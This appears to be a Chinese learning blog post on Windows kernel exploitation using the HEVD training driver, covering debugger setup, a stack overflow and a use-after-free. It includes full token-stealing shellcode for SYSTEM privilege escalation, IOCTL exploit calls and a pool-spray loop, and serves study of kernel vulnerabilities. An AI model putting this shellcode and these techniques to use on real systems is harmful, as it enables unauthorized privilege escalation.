从0开始学习windows内核漏洞-HEVD篇
0x0 环境搭建
0x01 双机调试环境搭建
所需工具:
1、一个win7 sp x86虚拟机
2、由于本机是mac,所以用一个win10虚拟机当调试机(没法用virtualkd)(用的串口,内存16G开调试并不卡)
搭建过程:
参考:
1、修改两个虚拟机的.vmx文件
被调试机win7:
删除所有serial0相关字段,新增以下配置:
1 | serial0.present = "TRUE" |
调试机win10:
删除所有serial0相关字段,新增以下配置:
1 | serial0.present = "TRUE" |
2、修改被调试机win7的开机启动项
以管理员权限打开CMD,依次输入
1 | bcdedit /copy {current} /d "Windows Debug Entry" |
3、在调试机win10的windbg中设置内核调试的参数
4、确定windbg参数,点击后发现windbg在等待连接了,重启win7后进入调试,即可发现成功连接
出现的问题:
(1)win7 sp x86虚拟机没法安装vmware tools
如图,按钮是灰色的
解决方法:
1、找到vmware里的windows.iso
2、设置为虚拟机的cd/dvd
3、开启虚拟机后即可点击打开vmware tools的安装包
4、安装过程中出现错误
5、下载kb4474419:kb4474419(ps:参考文章中链接失效了,重新找了官网的链接)并安装
6、重新安装vmware tools即可
(2)无法使用com2连接
参考https://www.cnblogs.com/cxccc/p/13054553.html的配置
0x02 HEVD搭建
所需工具:
1、HEVD
2、OSR驱动加载器
搭建过程:
打开被调试机win7
打开osr driver loader,driver path设置为hevd.sys的路径
注册服务并启动服务
在调试机win10上:
打开windbg,运行
1 | lm m H* |
点击browse all global symbols,看到如下情况就是成功了。
0x1 栈溢出
0x11 原理
栈是一种数据结构,先进后出,用来保存函数的返回地址,参数,局部变量等数据。
栈溢出大概是最基础的漏洞,我的理解是程序没有对向栈中某变量写入数据的大小进行合理的控制,我们就可以构造一些数据(shellcode)来覆盖栈中其他相邻变量的值比如返回地址,从而让程序运行我们的代码。
0x12 实践
思路:
- 寻找能够程序中提供写入数据的点
- 找偏移,覆盖
- 写shellcode
寻找程序中提供输入的地方
用ida查看HEVD.sys
程序在使用memcpy时,并没有对KernelBuffer输入大小进行判断和控制,就可能会出现栈溢出
找偏移,正确覆盖
在ida中修改base,修改为windbg中看到的HEVD的地址
得到函数开始和memcpy函数开始的地址:928851A2和92885235
同时buffer的大小是0x800
在windbg中下断点:
1 | bu 928851A2 |
然后运行,在被调试机上运行exp
记录a8b88ab4
记录buffer开始位置a8b88294
偏移为:a8b88ab4-a8b88294=0x820
运行官方exp:
buffer的大小是0x800,查看a8b88294(buffer开始位置)+0x7f0(第一行即为buffer最后一行)处的堆栈
单步,可以看到堆栈被A填充满了
ebp也被41覆盖了,返回地址00063710是shellcoded的地址
官方exp运行结果:
编写exp
首先需要知道如何和驱动通信:
用户通过I/O请求包IRP-》句柄引用文件对象-》设备对象-》驱动程序对象(ring0)
即通过文件对象定位到关联的设备对象,然后定位到驱动程序对象,I/O管理器将I/O请求传递给驱动程序的例程。
因此编写思路:
1、通过CreateFile函数创建一个指向xx设备对象的文件对象
2、调用DeviceIoControl函数对设备对象发出I/O请求,请求中包含提权的shellcode
3、使用CloseHandle函数关闭文件对象
框架:shellcode+buf+通信
提权的shellcode(官方):
原理:通过遍历进程找到system进程【pid=4】,复制它的token给当前线程即可提权,可以修改cmd token的值为system token即可提权
__asm {
pushad ; Save registers state
; Start of Token Stealing Stub
xor eax, eax ; Set ZERO
mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS:[0x124]
mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax ; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token
mov [ecx + TOKEN_OFFSET], edx ; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
popad ; Restore registers state
; Kernel Recovery Stub
xor eax, eax ; Set NTSTATUS SUCCEESS
add esp, 12 ; Fix the stack
pop ebp ; Restore saved EBP
ret 8 ; Return cleanly
}
创建文件对象
CreateFileA函数:如果函数成功,则返回值是指定文件、设备、命名管道或邮槽的打开句柄。
1 | HANDLE CreateFileA( |
在源码中我们可以找到设备名称:HackSysExtremeVulnerableDriver,格式为\.\设备名称
因此设备名称:\.\HackSysExtremeVulnerableDriver
同时在使用CreateFileA函数时,需要指定FILE_SHARE_READ和 FILE_SHARE_WRITE访问标志,fdwCreate参数必须指定 OPEN_EXISTING,hTemplateFile参数必须为NULL,fdwAttrsAndFlags参数可以指定 FILE_FLAG_OVERLAPPED来指示返回的句柄可以用于重叠(异步)I/O 操作。
代码如下:
1 | hFile = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", |
定义buffer
我们要将返回地址覆盖为shellcode的位置,因此buffer大小为(0x820[覆盖到ebp]+0x4[返回地址]),即
1 | char buf[0x824];#申请一个0x824大小的字符数组 |
发出I/O请求
使用DeviceIoControl 函数(直接向指定的设备驱动程序发送控制代码,使相应的设备执行相应的操作)
1 | BOOL DeviceIoControl( |
设置参数:
1、hDevice,设备的句柄,在createfile的时候返回了
2、dwIoControlCode,是由CTL_CODE宏定义的,用于创建一个唯一的32位系统I/O控制代码
到ida里寻找,使用0x222003(即IoControlCode)通信可以调用有栈溢出漏洞的函数
3、lpInBuffer,我们定义的buf
4、nInBufferSize,buf的大小
代码如下:
1 | DeviceIoControl(hFile,dwIoControlCode,(LPVOID)buf,0x824,NULL,0,&BytesReturned,NULL); |
最终main函数:
执行情况:成功
0x13 出现的问题
1、windbg显示不了调试信息
解决:输入以下命令:
1 | ed nt!Kd_DEFAULT_Mask 8 |
0x2 UAF
0x21 原理
申请的内存块被释放后,其对应的指针没有被设置为 NULL,下次申请内存的时候可能会再次使用该内存块,使用代码对这块内存进行修改,之前的内存指针就可以访问修改过的内存。程序再次使用这块内存时,就可能会出现问题。
0x22 实践
漏洞点:
g_UseAfterFreeObjectNonPagedPool在内存块释放了之后,指针没有置空,因此会成为悬空指针(dangling pointer)
查看g_UseAfterFreeObjectNonPagedPool的结构体PUSE_AFTER_FREE_NON_PAGED_POOL的定义
有一个callback,在调用UseUaFObjectNonPagedPool时会调用
因此存在uaf漏洞,我们需要将callback修改成我们的shellcode
利用:
思路:
- 申请内存
- 释放内存
- 申请一个内存,将callback指向我们的shellcode
- 调用UseUaFObjectNonPagedPool,shellcode就会执行
查看dwIoControlCode:
编写exp:
1、申请和释放
1 | DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &rBuf, NULL);//调用AllocateUaFObject()函数申请内存 |
2、构造一个内存块,将callback指向我们的shellcode
参考common.h和UseAfterFreeNonPagedPool.h中的定义
1 | typedef void (*FunctionPointer)(void); |
1 | PUSE_AFTER_FREE_NON_PAGED_POOL fake_UseAfterFree = (PUSE_AFTER_FREE_NON_PAGED_POOL)malloc(sizeof(USE_AFTER_FREE_NON_PAGED_POOL)); |
但是由于windows的内存管理在释放一块内存时可能会与相邻的内存块合并以便构成更大的空闲块,只申请一块假堆并不能保证刚好用的是之前释放的那块内存,所以需要申请多个假堆
1 | for (int i = 0; i < 5000; i++) |
最后调用UseUaFObjectNonPagedPool,此时的callback函数已经变成我们的shellcode
1 | DeviceIoControl(hDevice, 0x222017, NULL, NULL, NULL, 0, &recvBuf, NULL); |
最终main函数:
执行情况:
0x23 出现的问题
1、使用官方的提权shellcode会出现蓝屏,不太理解
2、堆喷射偶尔会失败,即并未覆盖到正确的位置从而没能成功提权